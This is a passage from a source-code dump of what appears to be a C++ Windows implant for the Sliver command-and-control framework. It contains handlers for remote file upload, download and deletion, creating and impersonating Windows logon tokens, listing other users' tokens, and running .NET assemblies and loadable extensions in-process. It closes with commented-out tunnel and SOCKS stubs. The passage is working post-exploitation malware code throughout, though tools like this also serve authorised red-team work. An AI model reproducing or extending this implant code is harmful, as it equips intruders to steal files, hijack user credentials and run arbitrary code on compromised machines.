req.ParseFromString(data); 118 | string filebytes; 119 | if (req.encoder().compare("gzip") == 0) { 120 | filebytes = gzip::decompress(req.data().c_str(), req.data().size()); 121 | } 122 | else { 123 | filebytes = req.data(); 124 | } 125 | auto ret = FS::write(filesystem::absolute(req.path()).string(), filebytes); 126 | if (!ret) { 127 | auto common_resp = new sliverpb::Response(); 128 | common_resp->set_err("upload failed"); 129 | resp.set_allocated_response(common_resp); 130 | } 131 | resp.set_path(filesystem::absolute(req.path()).string()); 132 | return wrapResponse(taskID, resp); 133 | } 134 | 135 | sliverpb::Envelope downloadHandler(int64_t taskID, string data) { 136 | sliverpb::DownloadReq req; 137 | sliverpb::Download resp; 138 | req.ParseFromString(data); 139 | string filedata; 140 | resp.set_path(filesystem::absolute(req.path()).string()); 141 | try { 142 | filedata = FS::read(filesystem::absolute(req.path()).string()); 143 | } 144 | catch (exception& e) { 145 | auto common_resp = new sliverpb::Response(); 146 | common_resp->set_err(e.what()); 147 | resp.set_allocated_response(common_resp); 148 | resp.set_exists(false); 149 | resp.set_unreadablefiles(1); 150 | resp.set_readfiles(0); 151 | return wrapResponse(taskID, resp); 152 | } 153 | auto gzipdata = gzip::compress(filedata.c_str(), filedata.size()); 154 | resp.set_data(gzipdata); 155 | resp.set_encoder(std::string{ "gzip" }); 156 | resp.set_exists(true); 157 | resp.set_readfiles(1); 158 | resp.set_unreadablefiles(0); 159 | return wrapResponse(taskID, resp); 160 | } 161 | sliverpb::Envelope rmHandler(int64_t taskID, string data) { 162 | sliverpb::RmReq req; 163 | sliverpb::Rm resp; 164 | req.ParseFromString(data); 165 | error_code err; 166 | auto res = FS::remove(filesystem::absolute(req.path()).string(), err, req.recursive()); 167 | resp.set_path(filesystem::absolute(req.path()).string()); 168 | if (!res) { 169 | sliverpb::Response* common_resp = new sliverpb::Response(); 170 | common_resp->set_err(std::format("Error value:{}\nError message: {}\n",err.value(), err.message())); 171 | resp.set_allocated_response(common_resp); 172 | } 173 | return wrapResponse(taskID, resp); 174 | } 175 | sliverpb::Envelope mkdirHandler(int64_t taskID, string data) { 176 | sliverpb::MkdirReq req; 177 | sliverpb::Mkdir resp; 178 | req.ParseFromString(data); 179 | error_code err; 180 | auto res = FS::mkdir(filesystem::absolute(req.path()).string(), err); 181 | resp.set_path(filesystem::absolute(req.path()).string()); 182 | if (!res) { 183 | sliverpb::Response* common_resp = new sliverpb::Response(); 184 | common_resp->set_err(std::format("Error value:{}\nError message: {}\n", err.value(), err.message())); 185 | resp.set_allocated_response(common_resp); 186 | } 187 | return wrapResponse(taskID, resp); 188 | } 189 | sliverpb::Envelope makeTokenHandler(int64_t taskID, string data) { 190 | sliverpb::MakeTokenReq req; 191 | sliverpb::MakeToken resp; 192 | req.ParseFromString(data); 193 | auto res = token::makeToken(req.domain(), req.username(), req.password(), req.logontype()); 194 | if (!res) { 195 | auto common_resp = new sliverpb::Response(); 196 | common_resp->set_err(string{ "logonUserA returned false" }); 197 | resp.set_allocated_response(common_resp); 198 | } 199 | return wrapResponse(taskID, resp); 200 | } 201 | sliverpb::Envelope revToSelfHandler(int64_t taskID, string data) { 202 | sliverpb::RevToSelfReq req; 203 | sliverpb::RevToSelf resp; 204 | req.ParseFromString(data); 205 | token::revertToken(); 206 | return wrapResponse(taskID, resp); 207 | } 208 | sliverpb::Envelope executeAssemblyHandler(int64_t taskID, string data) { 209 | sliverpb::InvokeInProcExecuteAssemblyReq req; 210 | req.ParseFromString(data); 211 | string params{ "" }; 212 | for (auto it = req.arguments().begin(); it != req.arguments().end();++it) { 213 | params.append(it->c_str()); 214 | params.append(" "); 215 | } 216 | while(params.length() != 0 && params[params.length()-1] == ' ') 217 | params.pop_back(); 218 | auto output = ExecuteAssembly(req.data(),params, true, true); 219 | sliverpb::ExecuteAssembly resp; 220 | resp.set_output(output); 221 | return wrapResponse(taskID, resp); 222 | } 223 | sliverpb::Envelope registerExtensionHandler(int64_t taskID, string data) { 224 | sliverpb::RegisterExtensionReq req; 225 | req.ParseFromString(data); 226 | sliverpb::RegisterExtension resp; 227 | sliverpb::Response* common_resp = new sliverpb::Response(); 228 | resp.set_allocated_response(common_resp); 229 | extensions::addExtension(req.data(), req.name(), req.os(), req.init()); 230 | return wrapResponse(taskID, resp); 231 | } 232 | sliverpb::Envelope callExtensionHandler(int64_t taskID, string data) { 233 | sliverpb::CallExtensionReq req; 234 | req.ParseFromString(data); 235 | sliverpb::CallExtension resp; 236 | 237 | auto out = extensions::runExtension(req.name(), req.export_(), req.args()); 238 | if (!out.empty()) { 239 | resp.set_output(out); 240 | } 241 | else { 242 | sliverpb::Response* common_resp = new sliverpb::Response(); 243 | common_resp->set_err(string{ "[-] blank output" }); 244 | resp.set_allocated_response(common_resp); 245 | } 246 | return wrapResponse(taskID, resp); 247 | } 248 | sliverpb::Envelope listExtensionHandler(int64_t taskID, string data) { 249 | sliverpb::ListExtensionsReq req; 250 | req.ParseFromString(data); 251 | sliverpb::ListExtensions resp; 252 | 253 | auto out = extensions::listExtensions(); 254 | for (auto it = out.begin();it != out.end();++it) { 255 | resp.add_names(it->c_str()); 256 | } 257 | return wrapResponse(taskID, resp); 258 | } 259 | sliverpb::Envelope ListTokensHandler(int64_t taskID, string data) { 260 | sliverpb::ListTokensReq req; 261 | sliverpb::ListTokens resp; 262 | req.ParseFromString(data); 263 | try { 264 | auto tokens = token::ListTokens(); 265 | for (auto it = tokens.begin();it != tokens.end();++it) { 266 | auto token = resp.add_tokens(); 267 | token->set_tokenid(*((uint64_t*)(&(it->TokenId)))); 268 | token->set_logonsessionid(*((uint64_t*)(&(it->LogonSessionId)))); 269 | token->set_logontype(it->LogonType); 270 | token->set_privilegescount(it->PrivilegesCount); 271 | token->set_tokenimplevel(it->TokenImpLevel); 272 | token->set_tokentype(it->TokenType); 273 | token->set_tokenintegrity(it->TokenIntegrity); 274 | token->set_username(utils::ws2s(it->Username)); 275 | } 276 | } 277 | catch (exception& e) { 278 | auto common_resp = new sliverpb::Response(); 279 | common_resp->set_err(std::format("ListTokens triggered exception: {}", e.what())); 280 | resp.set_allocated_response(common_resp); 281 | } 282 | return wrapResponse(taskID, resp); 283 | } 284 | sliverpb::Envelope impersonateHandler(int64_t taskID, string data) { 285 | sliverpb::ImpersonateReq req; 286 | req.ParseFromString(data); 287 | sliverpb::Impersonate resp; 288 | bool res = FALSE; 289 | try { 290 | if (utils::is_number(req.username())) 291 | res = token::Impersonate(stoll(req.username(),nullptr,16)); 292 | else 293 | res = token::Impersonate(req.username()); 294 | if (res == false) { 295 | sliverpb::Response* common_resp = new sliverpb::Response(); 296 | common_resp->set_err(string{ "[-] Failed to impersonate. No suitable token found" }); 297 | resp.set_allocated_response(common_resp); 298 | } 299 | } 300 | catch (exception& e) { 301 | sliverpb::Response* common_resp = new sliverpb::Response(); 302 | common_resp->set_err(string{ "[-] Impersonate thrown following exception:\n" }+e.what()); 303 | resp.set_allocated_response(common_resp); 304 | } 305 | return wrapResponse(taskID, resp); 306 | } 307 | } -------------------------------------------------------------------------------- /src/tunnelHandlers.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "Handlers.h" 3 | #include "Handlers_Utils.h" 4 | #include "constants.h" 5 | #include "listeners.h" 6 | #include 7 | #include "pivots.h" 8 | #include 9 | #include "Connection.h" 10 | //#define BUFSIZE 512 11 | //using namespace std; 12 | // 13 | //namespace handlers { 14 | // 15 | // /*map pivotHandlers = { 16 | // {sliverpb::MsgPivotStartListenerReq,static_cast(pivotStartListenerHandler)}, 17 | // {sliverpb::MsgPivotPeerEnvelope,static_cast(pivotPeerEnvelopeHandler)} 18 | // };*/ 19 | // 20 | // map beaconTunnelHandlers = { 21 | // {sliverpb::MsgSocksData,static_cast(beaconSocksDataHandler)}, 22 | // {sliverpb::MsgTunnelData,static_cast(beaconTunnelDataHandler)}, 23 | // {sliverpb::MsgTunnelClose,static_cast(beaconTunnelCloseHandler)}, 24 | // }; 25 | // 26 | // map& getBeaconTunnelHandlers() { 27 | // return beaconTunnelHandlers; 28 | // } 29 | // 30 | // 31 | // sliverpb::Envelope beaconSocksDataHandler(sliverpb::Envelope env, shared_ptr b) { 32 | // sliverpb::SocksData req; 33 | // req.ParseFromString(env.data()); 34 | // sliverpb::Envelope e; 35 | // return e; 36 | // } 37 | //} --------------------------------------------------------------------------------